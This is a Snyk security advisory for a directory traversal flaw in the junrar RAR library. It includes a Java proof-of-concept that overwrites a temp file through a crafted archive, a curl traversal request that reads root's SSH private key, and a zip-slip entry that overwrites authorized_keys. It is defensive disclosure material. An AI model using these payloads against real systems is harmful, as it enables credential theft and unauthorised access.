Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade com.github.junrar:junrar to version 7.5.8 or higher.
com.github.junrar:junrar is a rar decompression library in plain java.
Affected versions of this package are vulnerable to Directory Traversal via the LocalFolderExtractor component. An attacker can write arbitrary files with attacker-controlled content anywhere on the filesystem by extracting a specially crafted RAR archive on Linux/Unix systems, potentially leading to the execution of malicious code by overwriting critical files such as shell profiles, source code, or cron jobs.
Note:
This is not exploitable on Windows where backslashes are path separators.
package com.test;
import com.github.junrar.Junrar;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Path;
/**
* PoC: Backslash path traversal bypass in junrar 7.5.7
*
* A RAR archive containing an entry with backslash-separated ".." components
* bypasses the createFile() canonical path validation on Linux and writes
* files outside the extraction directory via makeFile()'s path reconstruction.
*/
public class BackslashTraversalPoC {
static final String TARGET = "/tmp/existing-file";
static final String ARCHIVE = "malicious.rar";
public static void main(String[] args) throws Exception {
File archive = new File(ARCHIVE);
if (!archive.exists()) {
archive = new File(new File(System.getProperty("user.dir")).getParent(), ARCHIVE);
}
// Step 1: Verify the pre-existing file (created by poc_setup.sh)
File target = new File(TARGET);
if (!target.exists()) {
System.out.println("ERROR: " + TARGET + " not found. Run poc_setup.sh first.");
System.exit(1);
}
System.out.println("Before extraction:");
System.out.println(" " + TARGET + " => " + Files.readString(Path.of(TARGET)).trim());
System.out.println();
// Step 2: Extract the malicious archive
Path extractDir = Files.createTempDirectory("junrar-poc-");
System.out.println("Extracting " + archive.getAbsolutePath() + " into " + extractDir + " ...");
try {
Junrar.extract(archive, extractDir.toFile());
} catch (Exception e) {
System.out.println("Extraction error (may be expected): " + e.getMessage());
}
System.out.println();
// Step 3: Show the result
System.out.println("After extraction:");
String content = Files.readString(Path.of(TARGET)).trim();
System.out.println(" " + TARGET + " => " + content);
System.out.println();
if (content.equals("Overwritten")) {
System.out.println("VULNERABLE: junrar 7.5.7 backslash traversal overwrote " + TARGET);
} else {
System.out.println("NOT VULNERABLE: file contents unchanged");
}
}
}
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
Zip-Slip.One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys